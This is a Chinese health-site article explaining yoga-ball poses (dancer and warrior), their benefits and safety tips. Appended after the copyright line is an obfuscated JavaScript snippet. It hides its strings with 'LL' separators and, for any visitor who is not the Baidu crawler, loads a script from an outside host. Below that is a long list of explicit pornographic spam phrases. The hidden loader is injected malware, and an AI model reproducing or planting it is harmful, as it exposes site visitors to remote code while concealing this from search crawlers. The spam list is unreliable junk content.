當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

球瑜伽體式有哪些

2017-04-15 10:47:06  來源:360常識網(wǎng)   熱度:
導(dǎo)語:近年來很多人都比較喜歡瑜伽來鍛煉形體很體質(zhì)的方式,這樣的方式不僅是不費(fèi)力,達(dá)到的效果也是非常可觀的,所以這就是人們非常喜歡用瑜伽球

近年來很多人都比較喜歡瑜伽來鍛煉形體很體質(zhì)的方式,這樣的方式不僅是不費(fèi)力,達(dá)到的效果也是非常可觀的,所以這就是人們非常喜歡用瑜伽球來鍛煉的原因。鍛煉瑜伽不僅能陶冶情操,還可以鍛煉形體,何樂而不為呢!可是許多人都不曉得怎么用球來鍛煉瑜伽,有哪些體式,下面我為大家講解一下球瑜伽體式有哪些。

舞者式

1. 把瑜伽球放在身體前方0.5米左右的地方,雙手掌壓球。

2. 抬起左腳,左手將其拉高,維持30秒然后還原換一側(cè)做。

功效:加強(qiáng)腰腹力量,減少背部和臀部脂肪。

戰(zhàn)斗式

1. 將球放在胯下,前腿屈膝90度,雙腳掌要完全接觸地面。

2. 將球從胯下取出,舉高,雙臂伸直,保持30秒。

功效:強(qiáng)健大腿肌肉,消除下肢的多余脂肪。

瑜伽球教程——舞者式和戰(zhàn)斗式

注意事項

1. 給球打氣的時候打到“八分飽”,這樣球身更有彈性,方便做夾與抓握的動作。

2. 瑜伽球有各種尺寸,初學(xué)者可以先用小球,比較方便控制。一般來說,大球比較容易保持平衡,小球較輕,但不易平衡。

3. 在家玩瑜伽球的時候,可以在地上鋪一條瑜伽墊或鋪巾,保持清潔,也不易打滑。

4. 盡管瑜伽球鍛煉不易受傷,但還是要注意保持平衡,尤其是做車輪式等比較困難的動作,還原的時候一定要用手撐好。

自己做起來的時候,一定要要姿勢正確的話才能達(dá)到效果的,就算是你長期鍛煉如果姿勢不對的話,效果也不會達(dá)到預(yù)想的。球瑜伽鍛煉每個人都可以,在家里面有一小片地方就可以了,非常的方便的。要注意鍛煉的強(qiáng)度,千萬不要強(qiáng)行的去做一些自己做不到的體式。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
精品一区二区三区波多野结衣| 久久精品国产99国产精品亚洲| 无码精品A∨在线观看免费| 国产精品爱搞视频网站 | 国产私拍福利精品视频网站| 色哟哟国产精品免费观看| 亚洲人成在线精品| 亚洲中文字幕久久精品无码喷水 | 无码乱码观看精品久久| 国产精品亚洲四区在线观看| 国产精品无套内射迪丽热巴| 四虎精品久久久久影院| 98精品国产综合久久| 国产福利精品一区二区| 这里只有精品视频在线| 日韩视频在线精品视频免费观看 | 日韩精品一区二区午夜成人版 | 香蕉久久国产精品免| 91精品免费高清在线| 99在线观看精品免费99| 尤物yw午夜国产精品视频| 国产午夜亚洲精品不卡电影| 国产精品怡红院永久免费| 久久国产视频精品| 国产亚洲精品无码专区| 国产免费69成人精品视频| 中文无码亚洲精品字幕| 在线观看精品视频看看播放| 亚洲国产精品va在线播放| 国产女人18毛片水真多18精品 | 精品久久人人妻人人做精品| 日本精品久久久久久福利| 日韩免费精品视频| 国产精品毛片在线完整版| 无码日本精品XXXXXXXXX| 久久久久国产精品人妻| 奇米影视7777久久精品| 亚洲av无码国产精品色午夜字幕| 精品久人妻去按摩店被黑人按中出 | 99精品热女视频专线| 亚洲国产精品高清久久久|